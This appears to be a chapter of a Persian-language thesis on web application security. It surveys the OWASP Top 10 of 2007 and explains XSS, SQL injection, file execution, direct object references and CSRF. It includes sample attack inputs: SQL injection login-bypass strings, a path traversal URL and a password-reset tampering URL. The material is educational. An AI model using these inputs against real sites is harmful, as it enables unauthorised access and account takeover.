به  JavaScriptهدف هاي اوليه اي كه براي آنها تعريف شده بود كشيده شدند، براي مثال، استفاده از 

ات از از آنجاييكه انتظار. AJAXعنوان ابزاري براي ارسال داده در بسياري از برنامه هاي كاربردي 

وظايف برنامه هاي كاربردي تحت وب به سرعت افزايش مي يابد، تكنولوژي هايي كه اين وظايف را 

عقب مانده اند، درحاليكه تكنولوژي هاي قديمي گسترش يافته اند و  در منحنيپياده سازي مي كردند 

انبي پيش بيني جوظايف تعجب برانگيز نيست كه با پديدار شدن . با نيازهاي جديد هماهنگ شده اند

  .منجر به آسيب پذيري هاي امنيتي شده استخود نشده، اين امر 

  

  :محيط جديد امنيت .2.2.2

براي امن كردن خود در مقابل  قبل از پيشرفت برنامه هاي كاربردي تحت وب، تلاش هاي شركت ها

تش در مقابل دفاع از اين محيط مستلزم گذاشتن ديوار آ. خارجي بر محيط شبكه متمركز بود حملات

  .بود كه در معرض خطر قرار داشتسرويس هايي  امن كردن و وصله زدن و دسترسي ديگران

براي آنكه يك برنامه كاربردي توسط . برنامه هاي كاربردي تحت وب همه اين چيزها را تغيير داده اند

ويس دهنده برروي دروني را به سر وار آتش محيط بايد امكان اتصالاتكاربرانش قابل دسترسي باشد، دي

HTTP/S و براي اينكه يك برنامه كاربردي كار كند، سرويس دهنده بايد امكان اتصال به . بدهد

را داشته  مالي و منطقيو سيستم هاي  هاmain frame، مانند پايگاه هاي داده،  كناريسيستم هاي 

اي بسيار از دفاع هاي اين سيستم ها معمولا در مركز عمليات شركت هستند و در پشت لايه ه. باشد

  . سطح شبكه قرار دارند

اگر يك آسيب پذيري در يك برنامه كاربردي تحت وب وجود داشته باشد، مهاجمي در اينترنت عمومي 

خود به از مرورگر  فرستادن داده هاي فريبندهشركت را تنها با  جانبيمي تواند سيستم هاي مركزي 
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ورت كه از شبكه هاي عادي عبور به همان صاي شبكه شركت، اين داده از تمام دفاع ه .اندازدبيخطر 

  .به نظر مي رسدوب معمولي ترافيك  مانندر خواهد كرد و كند، عبومي

بخشي . جابجا شده است سازماناثر گسترش زياد برنامه هاي كاربردي اين است كه محيط امنيتي يك 

اما بخش قابل توجهي از آن . هاي مستحكم قرار دارد ميزباناز محيط همچنان در ديوارهاي آتش و 

به علت راه هاي گوناگون دريافت . اكنون توسط برنامه هاي كاربردي تحت وب شركت اشغال شده است

حساس، اين برنامه ها دروازه  جانبيو انتقال آن به سيستم هاي  داده هاي كاربر در برنامه هاي كاربردي

وسيعي از حمله ها هستند، و دفاع در مقابل اين حمله ها بايد در خود اين هاي بالقوه اي براي محدوده 

تنها يك خط كد ناقص در تنها يك برنامه كاربردي مي تواند سيستم هاي . برنامه ها پياده سازي شود

  .داخلي شركت را آسيب پذير كند

اي دلخواه بر روي يك شركت، دست يابي به شبكه يا اجراي دستوره گرفتنهدف  بايد توجه داشت كه

معمولا، چيزي كه . سرويس دهنده ها ممكن است واقعا آن چيزي نباشد كه مورد نظر مهاجم است

دزديدن اطلاعات شخصي، انجام برخي كارها در سطح برنامه كاربردي مانند  ،مهاجم واقعا مي خواهد

يه برنامه كاربردي مي تواند و تغيير مكان محيط امنيتي به لا. يا انجام خريدهاي ارزان است انتقال پول

  .براي رسيدن به اين اهداف كمك زيادي بكندبه مهاجم 

براي مثال، فرض كنيد يك مهاجم مي خواهد به يك سيستم بانكي نفوذ كرده و پول را از حساب 

قبل از آنكه بانك برنامه هاي كاربردي را گسترش دهد، مهاجم مي بايست يك آسيب . بدزدد كاربران

 اده كرده، ازبانك استف DMZ1پيدا كند، از آن براي به دست اوردن  عمومييك سرويس  پذيري در

 بكشدشبكه را نقشه ديوار آتشي كه دسترسي به سيستم هاي داخلي آن را محدود مي كند عبور كند، 

 ييمي رود را رمزگشارا پيدا كند، پروتكل محرمانه اي كه براي دسترسي به آن به كار  اصليتا كامپيوتر 

با اين حال، اگر بانك از يك برنامه . را براي ورود به سيستم حدس بزند اعتبارنامه هاييكند، و سپس 
                                           

1 De-Militarized Zone 
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كاربردي آسيب پذير استفاده كند، ممكن است مهاجم بتواند با تنها تغيير يك شماره حساب در يك 

  . به همان نتيجه قبلي برسد HTMLفيلد پنهان يك فرم 

برنامه هاي كاربردي تحت وب محيط امنيتي را تغيير داده اند از  كه از طريق آن دومين شيوه

هنگام دسترسي به يك برنامه كاربردي آسيب پذير با آن مواجه مي شوند برمي  كاربرانتهديدهايي كه 

آسيب پذير براي حمله به هر مي تواند از يك برنامه كاربردي بي خطر اما  مخربيك مهاجم . خيزد

اگر آن كاربر در يك شبكه داخلي قرار داشته باشد، مهاجم . ي شود استفاده كندي كه وارد آن مكاربر

 قرباني كاربر فعليمي تواند از مرورگر كاربر براي ايجاد يك حمله عليه شبكه محلي از طريق موقعيت 

بدون هيچ گونه كمكي از طرف كاربر، ممكن است مهاجم بتواند هركاري را كه اگر كاربر . استفاده كند

  . بود انجام مي داد، انجام دهد مخربيدم آ

آشنا هستند و كاربران  خطرناكمديران شبكه با ايده جلوگيري از رفتن كاربران خود به وب سايت هاي 

اما ماهيت آسيب پذيري هاي برنامه هاي كاربردي  .ها آگاه مي شوند به تدريج خود بيشتر از اين تهديد

تهديدي كمتر از وب  ،آسيب پذير براي كاربران و شركت آنها تحت وب به اين معناست كه يك برنامه

 محيط امنيتي جديد وظيفه حفاظت را برعهده متناظرا،. نيست ،است مخربسايتي كه به وضوح 

تا كاربران خود را در مقابل حملات انجام شده از طريق برنامه  مي گذاردبرنامه هاي كاربردي  صاحبان

  . كاربردي محافظت كنند

  

  :آينده امنيت برنامه هاي كاربردي تحت وب. 3.2.2

امروز همچنان پر از  ، مانندروي اينترنت برنامه هاي كاربردي تحت وبسال ها بعد از پذيرش گسترده 

درك تهديدهايي كه برنامه هاي كاربردي تحت وب با آنها مواجه هستند، و راه . آسيب پذيري هستند
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اين امر نشانه كوچكي .  در صنعت همچنان رشد نيافته باقي مي ماندآنها،  جلوگيري ازهاي موثر براي 

  . است از اينكه فاكتورهاي مشكل كه در گذشته بحث شد در آينده اي نزديك از بين خواهند رفت

درحالي كه آسيب پذيري هاي . كاربردي تحت وب ثابت نيستند هاي جزئيات چشم انداز امنيتي برنامه

همچنان پديدار مي شوند، درجه شيوع آنها دارد به تدريج  SQLند تزريق قديمي و شناخته شده مان

بيشتر تحقيقات . ه بر آن، پيدا كردن و استخراج موارد باقي مانده سخت تر مي شودوعلا. كم مي شود

آسيب پذيري هايي كه در چند  تر عليه ماهرانه هاي پيشرفته براي حمله كنوني روي توسعه تكنيك

 گرفتند،مورد سو استفاده قرار ميبا استفاده از مرورگر  تشخيص داده مي شدند وحتي سال گذشته به را

  .متمركز شده است

سمت سرويس  برنامه كاربرديحملات سنتي عليه  ازتوجه جابجايي تدريجي مهم، دومين گرايش 

ي در نوع دوم حمله همچنان از نقص هاي. را هدف قرار مي دهد است كاربرانبه حملاتي كه  دهنده

با يك كاربر ديگر نيز مي شود، تا  شامل ارتباطدرون برنامه كاربردي استفاده مي كند، اما معمولا 

اين گرايشي است كه در ديگر زمينه . ارتباطات آن كاربر را با برنامه كاربردي آسيب پذير به خطر اندازد

له هاي امنيتي، شكاف هاي با بيشتر شدن آگاهي از حم. هاي امنيت نرم افزاري نيز تكرار شده است

 آسيب پذيري هاي مي شوند و برطرفو  كشفسمت سرويس دهنده اولين شكاف هايي هستند كه 

از . رندكليدي باقي مي گذا نبرد يكسمت كاربر را همچنان كه يادگيري ادامه پيدا مي كند به عنوان 

-ست سريعتر از بقيه تكامل مي، آنهايي كه عليه كاربران ديگر اتمام حمله هاي تشريح شده در اينجا

  .يابند، و بسياري از تحقيقات روي آنها متمركز شده اند

  

  :مهمترين آسيب پذيري هاي برنامه هاي كاربردي تحت وب. 3.2
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يكي از گروه هايي كه به طور مداوم در امر امنيت وب فعاليت مي كند و فهرست آسيب پذيري ها و 

اين جامعيت به گونه ايست . مي باشد OWASP1حملاتش از سايرين جامعتر و كاملتر است، اجتماع 

نيتي كه مدارك و اطلاعات اين اجتماع، به عنوان مرجع امنيت وب در بسياري از پروژه هاي ديگر ام

را به اين شرح  2007طبق جدول زير مهمترين آسيب پذيري هاي سال  OWASP. استفاده مي شود

  :اعلام كرده است

OWASP Top 10 2007  OWASP Top 10 2004  MITRE  2006 
Raw Ranking 

A1 ‐ Cross Site Scripting (XSS)  A4 ‐ Cross Site Scripting (XSS)  1 
A2 ‐ Injection Flaws  A6 ‐ Injection Flaws  2 

A3  ‐  Malicious  File  Execution 
(NEW) 

  3 

A4  ‐  Insecure  Direct  Object 
Reference 

A2  ‐ Broken Access Control  (split 
in 2007 T10) 

5 

A5  ‐  Cross  Site  Request  Forgery 
(CSRF) (NEW) 

  36 

A6  ‐  Information  Leakage  and 
Improper Error Handling 

A7 ‐ Improper Error Handling  6 

A7  ‐  Broken Authentication  and 
Session Management 

A3  ‐  Broken  Authentication  and 
Session Management 

14 

A8  ‐  Insecure  Cryptographic 
Storage 

A8 ‐ Insecure Storage  8 

A9  ‐  Insecure  Communications 
(NEW) 

Discussed  under  A10  ‐  Insecure 
Configuration Management 

8 

A10  ‐  Failure  to  Restrict  URL 
Access 

A2  ‐ Broken Access Control  (split 
in 2007 T10) 

14 

<removed in 2007>  A1 ‐ Unvalidated Input  7 
<removed in 2007>  A5 ‐ Buffer Overflows  4, 8, and 10 
<removed in 2007>  A9 ‐ Denial of Service  17 
<removed in 2007>  A10  ‐  Insecure  Configuration 

Management 
29 

 OWASPبا توجه به سايت   20072مهم سال  آسيب پذيري 10 1-2جدول 

  

                                           
1 Open Web Application Security Project (http://www.owasp.org) 
2 http://www.owasp.org/index.php/Top_10_2007-Methodology 
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OWASP  اين اطلاعات را بر اساسMITRE1 اعلام كرده است كه آمار زير را ارائه داده است:  

  2006مهم برنامه هاي كاربردي تحت وب در سال  آسيب پذيري 10 1-2شكل 

  

 The Web Application Hacker’s Handbookنيز نتيجه تحقيقات نويسنده كتاب  2- 2شكل 

اين مقدار دقيق درصدها و ضرايب نيست كه براي ما اهميت . را روي بيشتر از صد سايت نشان مي دهد

دارد، بلكه ما به دنبال مهمترين آسيب پذيري هاي برنامه هاي كاربردي تحت وب براي مطرح كردن 

ا كردن آنها گفتنيست در فصل بعد روش هاي مقابله با اين آسيب پذيري ها و چگونگي پيد. آنها هستيم

  .مورد بحث اصلي خواهد بود

                                           
1 http://cwe.mitre.org/documents/vuln-trends/index.html 
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 The Web Application Hacker’sآمار آسيب پذيري هاي برنامه هاي كاربردي تحت وب از كتاب  2-2شكل 

Handbook  
  

  :بدين ترتيب مهمترين آسيب پذيري ها با توجه به اين تحقيقات به صورت زير خواهند بود

1. Cross Site Scripting (XSS) 

2. Injection Flaws 

3. Malicious File Execution 

4. Insecure Direct Object Reference (Broken Access Control) 

5. Cross Site Request Forgery (CSRF) 

6. Information Leakage and Improper Error Handling 

7. Broken Authentication and Session Management 

8. Insecure Cryptographic Storage 

9. Insecure Communications 

10. Failure to Restrict URL Access (Broken Access Control) 

 

  .كه در ادامه به توضيح آنها مي پردازيم
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  :Cross Site Scripting (XSS)آسيب پذيري  .1.3.2

 XSS. محسوب مي شود HTMLاين آسيب پذيري در واقع زيرمجموعه آسيب پذيري تزريق كدهاي 

شايع ترين آسيب پذيري خطرناك برنامه هاي كاربردي تحت وب است كه متاسفانه به اشتباه توسط 

اين آسيب . برنامه نويسان و توسعه دهندگان برنامه هاي كاربردي تحت وب جدي گرفته نمي شود

ونه مي گيرد بدون هيچگ كه از كاربرهايي را پذيري زماني اتفاق مي افتد كه برنامه كاربردي داده 

به مهاجم  XSS. و يا با اعتبار سنجي ضعيف، به طرف مرورگر وب بفرستد 1اعتبارسنجي يا رمزگذاري

هاي خود را روي مرورگر قرباني اجرا كند؛ با اين كار مهاجم مي تواند  2اجازه مي دهد تا اسكريپت

حملات  هدايتهاي كاربر، تغيير شكل وب سايت، ورود محتواي مخرب،  3عملياتي نظير دزديدن نشست

نكته . را انجام دهد 5و به دست گرفتن مرورگر كاربر با استفاده از اسكريپت هاي بدافزار  4كلاهبرداري

برنامه كاربردي تحت وب تنها يك وسيله براي رساندن كدهاي  XSSقابل توجه اين است كه در حمله 

ربردي و يا سرويس دهنده وب از مخرب مهاجم به كاربران نهايي است و در اين حمله به خود برنامه كا

لحاظ ماهيتي آسيبي وارد نمي شود و اين كاربر نهايي است كه با تغيير محتوا فريب مي خورد يا از 

در اين حمله مرورگر وب نقش بسزايي دارد، چرا كه نفوذگران . كدهاي مخرب اين حمله آسيب مي بيند

گرهاي مختلف قابل اجرا باشد تا طيف اي به صفحات تزريق كنند كه در مرورHTMLبايد كدهاي 

امروزي، دور زدن هوشمندانه فيلترهاي ضد  XSSدر بيشتر حملات . وسيعي از كاربران را فرا بگيرد

XSS است كه مهاجمان را به اهدافشان در اجراي اين حملات مي  6و استفاده از مهندسي اجتماعي

  .رساند

                                           
1 Encoding 
2 Script 
3 Session 
4 Phishing 
5 Malware 
6 Social  Engineering 
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. وب مي توانند اين آسيب پذيري را داشته باشندهاي برنامه هاي كاربردي تحت  1تمامي چهارچوب

نيز از اين قاعده مستثني نيستند؛ تا جاييكه به دليل اشتباهات برنامه نويسي و  JSPو  ASPصفحات 

موجود است تقريبا در اكثر برنامه هاي  ASP.Netنبود يك بررسي كننده جامع مانند آنچه در 

  . يافت توان ميمتعددي  XSSكاربردي تحت وب با اين زبان ها، حملات 

اولين  )بازتاب شده Reflected XSS )XSS. 2شناسايي شده است XSSتا به حال سه نوع حمله 

در اين حالت يك صفحه تمام داده هاي كاربر . است XSSنوع و ساده ترين نوع و شايعترين نوع حمله 

  . را مستقيما به كاربر برميگرداند

اين كدها . نمايش داده شده است Reflected XSSآسيب پذيري  ASPدر كد هاي زير به زبان 

  :براي نمايش اخبار است ASPقسمتي از يك صفحه 

 
همان طور . دريافت مي شود مي تواند هر مقداري را اختيار كند Getكه با متد  Titleدر اينجا پارامتر 

از آنجايي كه اين . ر مي گيردكه ديده مي شود، اين پارامتر بدون هيچگونه بررسي خاص در سايت قرا

نيز اختيار كند، مي توانيم اسكريپت هاي خود را در اين پارامتر قرار  HTMLپارامتر مي تواند كدهاي 

داده و سپس لينك آن را براي يك كاربر بفرستيم تا با كليك روي آن كدهاي اسكريپت در مرورگر وي 

در اين  Mozilla Firefox 2يري را با مرورگر شكل زير استفاده از اين آسيب پذ. به اجرا درآيند

  :نشان مي دهد ASPصفحه 

                                           
1 Framework 
2 May 2008 ( 1387ارديبهشت  ه نقل از سايت ويكي پدياب (  
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 Reflected XSSآسيب پذيري  3-2شكل 

قرار گرفت كه ابتدا  HTMLبرابر با كد  Titleهمان طور كه در شكل بالا مي بينيد در اينجا پارامتر 

كه پيغامي را  JavaScriptيك اسكريپت به زبان  <script>را بست و سپس با تگ  <title> 1تگ

كه به كاربر ارسال مي شود، به صورت زير  HTMLبدين ترتيب كدهاي . نمايش مي داد اجرا كرد

  :است

  
ذخيره شده نام دارد كه كاربران بيشتري را در  XSSيا  Stored XSSدسته دوم اين آسيب پذيري 

در اين حالت، . مي دهدمعرض خطر، به دليل نوع خاص حمله كه از نوع ذخيره شونده است، قرار 

يك سيستم  backendدر يك فايل، پايگاه داده، يك تصوير و يا ساير قسمت هاي  HTMLكدهاي 

در مرحله بعد . ذخيره مي شوندكه قرار است به كاربران يا مديران سايت نمايش داده شود بدون بررسي 

ي گيرد، مهاجم به هدف خود قرار م مي يابندوقتي كاربري در صفحه اي كه اين كدها در آن نمايش 

ها، وبلاگ ها يا تالارهاي گفتگو كه تعداد زيادي بازديد كننده CMSسيستم هاي نظير . دست مي يابد

                                           
1 Tag 
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همچنين سرويس دهنده . و كاربر دارند خطرناك ترين قسمت ها براي اجراي اين نوع حمله هستند

لات به منظور دزديدن اطلاعات يا هاي پست الكترونيكي نيز اهدافي رايج براي انجام اين گونه حم

  . نشست كاربر است

از اين آسيب پذيري . است Cross Site Scripting ،DOM1 based XSSنوع سوم آسيب پذيري 

به وسيله اسكريپت  HTMLنيز ياد مي شود، چرا كه اجراي كدهاي  Local XSSگاهي به عنوان 

عاري  HTMLهايي كه در سمت كاربر وجود دارند اتفاق مي افتد و از سمت سرويس دهنده كدهاي 

در واقع اين مشكل به دليل اسكريپت هاي سمت كاربر پيش مي آيد كه . هستند XSSاز هرگونه حمله 

ي بنا به كاربرد، از قبيل پارامترهاي ورودي هاي يك صفحه را مي گيرند و با آن ورودي ها كارهاي خاص

است و  Reflected XSSاجراي اين آسيب پذيري شبيه . نوشتن آنها روي صفحه، انجام مي دهند

تنها تفاوتي كه وجود دارد به نحوه اجراي اسكريپت ها . لينك مربوط بايد توسط كاربر نهايي اجرا شود

چرا كه ممكن است اسكريپت ها . است توسط مرورگر كاربر نهايي برميگردد كه در اين حالت خطرناكتر

با مجوز فعلي كاربر سيستم اجرا شده و امكان دسترسي به فايل هاي سيستم توسط سايت كه در حالت 

 Internetالبته اين نحوه اجرا با آمدن مرورگرهاي جديد مانند. عادي امكان ندارد فراهم شود

Explorer 7 تكنيكهاي جديد مانند مهم آنكه با آمدن . تقريبا يكسان شده است AJAX امكان وقوع

نكته ديگر آنكه در اين نوع حمله مهاجم . اين دسته از آسيب پذيري بسيار بيشتر از گذشته شده است

  .مي تواند با استفاده از تكنيك هايي، وقوع حمله را از ديد سرويس دهنده كاملا مخفي نگه دارد

براي آزمايش اين آسيب پذيري نشان مي  ASPكد زير يك اسكريپت آسيب پذير را در يك صفحه 

  :دهد

                                           
1 Document Object Model 
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 :نشان مي دهد IE71و شكل زير استفاده از اين آسيب پذيري را با استفاده از 

  
  DOM Based XSSآسيب پذيري  4-2شكل 

 XSSبه آدرس دلخواه نيز مي تواند از مصاديق  2بايد توجه داشت كه تغيير مسير دادن يك مرورگر

يك مرورگر، مي توان اسكريپت ها را روي قرباني  URLستفاده از تغيير دادن آدرس باشد؛ چرا كه با ا

  .اجرا كرد

به گونه اي نوشته مي شوند تا بدون اينكه كاربر  JavaScriptواقعي كدهاي  XSSدر يك حمله 

. متوجه شود، عمليات مخربي عليه او انجام شود و براي نمونه نشست وي براي مهاجم فرستاده شود

اجمان در اين گونه عمليات دزديدن اطلاعات، از يك صفحه وب كه هرچه داده به طرف آن ارسال مه

يك . فرستند آن ميمي شود را ذخيره مي كند، استفاده مي كنند و داده هاي كاربران را به سمت 
                                           

1 Internet Explorer 7 
2 Redirect 
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زبان  برنامه كاربردي تحت وب ساده كه به منظور ذخيره داده هاي كاربران از آن استفاده مي شود، به

ASP  توسط نويسنده اين پروژه طراحي شده كه درCD  ضميمه با نامASP-Logger  موجود

در فصول بعد راجع به راه هاي پيدا كردن اين آسيب پذيري و روش جلوگيري آن سخن . ميباشد

  .خواهيم گفت

  

 :Injection Flawsآسيب پذيري هاي  2.3.2

در برنامه هاي كاربردي  SQL Injectionص به خصو Injection Flawsآسيب پذيري هاي نوع 

انواع . نيز در مقابل آن ها به شدت آسيب پذيرند JSPو  ASPتحت وب بسيار رايج هستند و صفحات 

، SQL ،LDAP ،XPath ،XSLT: و يا به عبارت ديگر تزريق داريم مانند injectionمختلفي 

HTML ،XMLاين آسيب پذيري وقتي اتفاق مي افتد . ، تزريق فرامين سيستم عامل و بسياري ديگر

. به مفسر ارسال مي شود 1كه داده هايي كه كاربر مي فرستد به عنوان يك فرمان يا پرس و جو

. مهاجمان مفسر را به اجراي ناخواسته فرمان هايي كه به صورت مخصوص ساخته اند مجبور مي كنند

هاي دلخواه براي يك برنامه كاربردي را آسيب پذيري هاي تزريق مهاجم را قادر مي سازد تا داده 

در بدترين حالت اين آسيب پذيري مي تواند باعث شود تا يك . بسازد، بخواند، به روز  و يا حذف كند

مهاجم به صورت كامل برنامه كاربردي را تخريب كند و مجوز سيستم را به دست آورد و حتي از محيط 

  . هايي با ديوارهاي آتش متعدد عبور كند

 Injection Flawsاز بقيه حملات  JSPو  ASPرا كه در  SQL Injectionحال آسيب پذيري 

هايي كه درون  در اين روش حمله، نفوذگر به جاي ورود داده. رايجتر و پركاربردتر است بررسي مي كنيم

دهد و از آن  هاي مورد نظر خود را قرار مي Query، جاسازي مي شود، SQLاز نوع  Queryيك 

هاي كاربردي تحت وب، به نحوي از  تقريباً در اكثر برنامه. كند ها در راستاي اهداف خود استفاده مي هداد
                                           

1 Query 



44 
 

هاي ورودي كاربر را دريافت و براساس  ها از طريق وب، داده اين برنامه. شود بانك اطلاعاتي استفاده مي

دريافتي، قبل از ساخته حال اگر داده هاي . كنند روي بانك اطلاعات خود ارسال مي Queryآن يك 

اي را به بانك اطلاعاتي  Queryتواند هر نوع  بررسي نشده باشند، نفوذگر به راحتي مي Queryشدن 

با مجوز بالايي در بانك اطلاعاتي اجرا شود، چه بسا نفوذگر بتواند كنترل كامل  Queryاگر . ارسال كند

  .را به دست گيرد پايگاه دادهسرويس دهنده 

  :مثالي از اين آسيب پذيري استكدهاي زير 

  
انجام مي شود و  SQLQueryپايگاه داده توسط رشته   همانطور كه مشاهده مي شود، پرس و جوي

حال اگر براي . اگر نتيجه اين درخواست از پايگاه داده تهي نباشد، كاربر به سيستم وارد مي شود

  :پارامترهاي ورودي مقادير زير را داشته باشيم

Username= ‘ or ‘1’=’1 

Password= ‘ or ‘1’=’1 
  :به صورت زير در مي آيد SQLQueryرشته 

 
و واضح است كه نتيجه اين پرس و جو از پايگاه داده برابر با انتخاب تمامي فيلدها از پايگاه داده بوده و 

دن حتي براي دقيق تر كر. در نتيجه بدون داشتن نام كاربري و رمز عبور مي توان وارد سايت شد

  :انتخاب، ورودي ها مي توانستند به صورت زير باشند

Username= admin 

Password= ‘ or username=’admin 

  :داريم SQLQueryكه در اين صورت براي 
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اگرچه اين مثال بيشتر جنبه آموزشي . به سايت وارد مي شويم adminو در اينجا نيز با نام كاربري 

جع به صفحات ورودي سايت در مورد كنترل ورودي ها دقيق عمل مي دارد و برنامه نويسان امروزه را

در يك قسمت ديگر مانند قسمت اخبار يك سايت هم  SQL Injectionكنند، با اين حال حتي اگر 

در  SQL Injectionعلت آنست كه توسط يك . باشد باز مي تواند به همين اندازه خطر آفرين باشد

  .نام كاربري و رمز عبور مدير سايت را پيدا كند يا آنها را تغيير دهديك قسمت ديگر، مهاجم مي تواند 

  :آسيب پذير است نشان مي دهد SQL Injectionكدهاي زير يك صفحه اخبار را كه نسبت به حمله 

  
يكي آنكه با استفاده از خطاهاي برگشتي . مي كند SQL Injectionدر اينجا نفوذگر دو استفاده از 

و ديگري آنكه با استفاده از . توسط پايگاه داده، اطلاعات خود را راجع به سيستم افزايش مي دهد

Union  در صورتي كه كاربر (به ساختار پايگاه داده پي برده و ساير فيلدهاي جداول ديگر را مي خواند

خواننده علاقه مند ). امه نويس تعيين شده، به او اجازه اين كار را بدهدجاري پايگاه داده كه توسط برن

آن يا به  Injectionمي تواند براي پيدا كردن دستورات خاص هر پايگاه داده، به صفحه ترفند هاي 

آخرين منابع به  Googleآن مراجعه نمايد كه با يك جستجوي ساده در  Cheat Sheetعبارت ديگر 

در فصل هاي بعدي بيشتر راجع به اين آسيب پذيري براي پيدا كردن آن و . 1آيندروز به دست مي 

  .همچنين روش جلوگيري از وقوع آن صحبت خواهيم كرد

  

  :Malicious File Executionآسيب پذيري . 3.3.2

                                           
1 http://www.google.com/search?safe=off&q=SQL+Injection+Cheat+Sheet 
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 اين آسيب پذيري در بسياري از برنامه هاي كاربردي كه امكان پذيرش نام فايلها يا خود فايلها را از

است ولي امكان وجود آن  PHPهرچند شهرت اين حمله بيشتر روي صفحات . كاربر دارند،  وجود دارد

توسط اين آسيب پذيري نفوذگر مي تواند عملياتي نظير اجراي . نيز هست JSPو  ASPدر يك صفحه 

مهم از راه دور كدها، نصب برنامه هاي مخرب و به دست گرفتن سيستم يا ديدن محتويات فايل هاي 

اين حمله وقتي است كه مثلا يك  يكي از نمونه هاي. را انجام دهد) JSPدر ( web.xmlسيستم مثل 

خطرناك، تجزيه  DTDرا به عنوان ورودي مي پذيرد و مهاجم با يك  XMLيك فايل  JSPصفحه 

ديگر را از راه دور بارگذاري كرده و خروجي پردازش  DTDرا وادار مي كند تا يك  XML 1كننده

با استفاده از همين روش يك شركت استراليايي نشان داده است كه مي توان شبكه . شده را اعلام نمايد

يك مثال ديگر براي . 2هايي كه پشت ديوار آتش هستند را از درون براي پورت هاي باز جستجو كرد

را  PDFي حمله عليه اين آسيب پذيري زمانيست كه مهاجم مي تواند فايلهايي نظير عكس يا سندها

Upload كند و برنامه كاربردي تحت وب پسوند فايل يا كدهاي داخل فايل را بررسي نمي كند .

كند كه اگر  Uploadخود را به جاي فايل درست، )  ASPيا ( JSPبنابراين مهاجم مي تواند فايلهاي 

هد شد و اگر باشد و در پوشه اي با قابليت اجرا باشد بلافاصله اجرا خوا ASPيا  JSPپسوند آن 

داشته باشد و سرويس دهنده خصيصه قابليت اجرا با توجه به محتوا داشته باشد، بازهم  JSPمحتويات 

  .اجرا خواهد شد

  :نشان مي دهد Javaكد زير ساختار معمول آسيب پذير از اين نوع را به زبان 

  
  :كه به صورت زير مي توان از آن سو استفاده كرد

                                           
1 Parser 
2 SIFT, Sift Networks, Web Services: Teaching an old dog new tricks, 
http://www.ruxcon.org.au/files/2006/web_services_security.ppt 
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www.victim.com/ebanking?file=../../web.xml 

البته نوع آسيب پذيري موجود در اين مثال را مي توان با آسيب پذيري اي كه در قسمت بعد مي آيد 

  . مشترك فرض كرد

  

  :Insecure Direct Object Referenceآسيب پذيري . 4.3.2

به يك شي پياده سازي شده  1اين آسيب پذيري زماني اتفاق مي افتد كه برنامه نويس نقطه ارجاع

يا يك فرم،  URLرا در پارامترهاي يك  2داخلي نظير يك فايل، پوشه، ركورد پايگاه داده و يا يك كليد

حال اگر كنترل دسترسي وجود نداشته باشد، مهاجم با دستكاري اين نقطه ارجاع به . فاش مي كند

ثال در يك برنامه كاربردي بانكي معمول به عنوان م. اشياء ديگر بدون اجازه دسترسي پيدا مي كند

بنابراين، براي برنامه نويس برنامه كاربردي . است كه از شماره حساب به عنوان كليد اصلي استفاده كنند

حال اگر اين اتفاق افتاده باشد و با . راحتتر است كه از اين شماره مستقيما در برنامه خود استفاده كند

را نيز گرفته باشد، بازهم  SQL Injectionتمامي حملات ديگر نظير  فرض اينكه برنامه نويس جلوي

برنامه كاربردي تحت وب در مقابل اينكه مهاجم به جاي شماره حساب خود، شماره شخص ديگري را 

وارد كند، نفوذپذير خواهد بود و با اين عمل مهاجم مي تواند اطلاعات اشخاص ديگر را ببيند و تغيير 

علت . از اين آسيب پذيري رنج مي برند JSPو  ASPرنامه هاي كاربردي به زبان هاي بسياري از ب. دهد

اصلي آنست كه اين آسيب پذيري در واقع يك آسيب پذيري منطقي است و برنامه نويس بايد در نقطه 

در واقع با كوچكترين . نقطه برنامه دسترسي افراد را براي كاري كه مي خواهند انجام بدهند كنترل كند

سهل انگاري از طرف برنامه نويس براي كنترل مجوز هاي دسترسي، وقتي كه مرجع دسترسي به شي از 

جالب آنكه در اين نوع . كاربر به عنوان ورودي پذيرفته مي شود، اين آسيب پذيري به وجود مي آيد

ويات مخرب آسيب پذيري همه چيز كاملا روال عادي خود را دارد، رشته هاي ارسالي از طرف كاربر محت
                                           

1 Reference 
2 Key 
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بنابراين يكي ديگر از مثال هاي رايج براي اين . قابل تشخيص ندارند و با اين حال حمله اتفاق مي افتد

حمله همان بود كه در قسمت قبلي بيان شد كه به گروه اين نوع حملات كه باعث مي شود بتوان از 

  . گويند Path Traversalپوشه اي كه بايد در آن قرار بگيريم خارج شويم 

  :توجه كنيد ASPبه كد زير از يك صفحه 

  
اين صفحه به اين . در اين خطوط وجود ندارد SQL Injectionهمانطور كه مشاهده مي شود امكان 

  :صورت اجرا مي شود

ResetPassword.asp?UserID=34&Password=123456 

به  UserIDيير پارامتر به وضوح ديده مي شود كه با تغ. شماره كاربري ماست 34با اين فرض كه عدد 

يك عدد ديگر، مي توان رمز عبور ساير اعضا را تغيير داد چرا كه هيچ كنترلي براي اينكه عدد 

UserID واقعا شماره كاربري ماست وجود ندارد.  

  

  :Cross Site Request Forgery (CSRF)آسيب پذيري . 5.3.2

CSRF ينجا مهاجم مرورگر قرباني كه در سايتي در ا. چيز جديدي نيست اما بسيار ساده و مخرب است

وارد شده است را مجبور مي كند تا درخواست هايي به برنامه كاربردي آسيب پذير بفرستد تا از طرف 

  .قرباني كارهايي را انجام دهد

را  JSPو  ASPاين آسيب پذيري همه چهارچوب هاي برنامه هاي كاربردي تحت وب از جمله 

هاي كاربردي تحت وب كه به شكل زير هستند اين آسيب پذيري به شدت رايج در برنامه . دربرميگيرد

  :است

  .برنامه هايي كه براي فعاليت مجوز سنج ندارند -
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 :مانند لينك زير. مي توان به آنها وارد شد Getبرنامه هايي كه با متد  -

http://www.example.com/admin/doSomething.ctl?username=admin&passwd=admin 
كه به  1برنامه هايي كه در آنها درخواست هاي داراي مجوز فقط برپايه اعتبارنامه هاييست -

اگر در برنامه وارد شده  2كوكي نشستمانند . صورت خودكار با هر درخواست فرستاده مي شوند

 3در صورتي كه به برنامه وارد نشده باشد يا اجازه ورود ”Remember me“باشد، ويژگي 

Kerberos ورتي كه بخشي از يك شبكه داخلي باشد و با ورودي در صActive Directory 

  .يكي شده باشد

متاسفانه امروزه بيشتر برنامه هاي كاربردي تحت وب اعتبار سنجي كاربران را فقط برپايه اعتبارنامه 

هايي كه به صورت خودكار فرستاده مي شوند انجام مي دهند؛ اعتبارنامه هايي نظير كوكي نشست، 

basic authentication4 آدرس هاي ،IP گواهينامه هاي ،SSL 5يا اعتبار نامه هاي دامنه ويندوز. 

اين آسيب پذيري در جاهاي مختلف به اسامي گوناگوني آمده است و تمامي نام هاي زير، نام ديگر 

  :همين آسيب پذيري مي باشند

Session Riding ،One-Click Attacks ،Cross Site Reference Forgery ،Hostile 

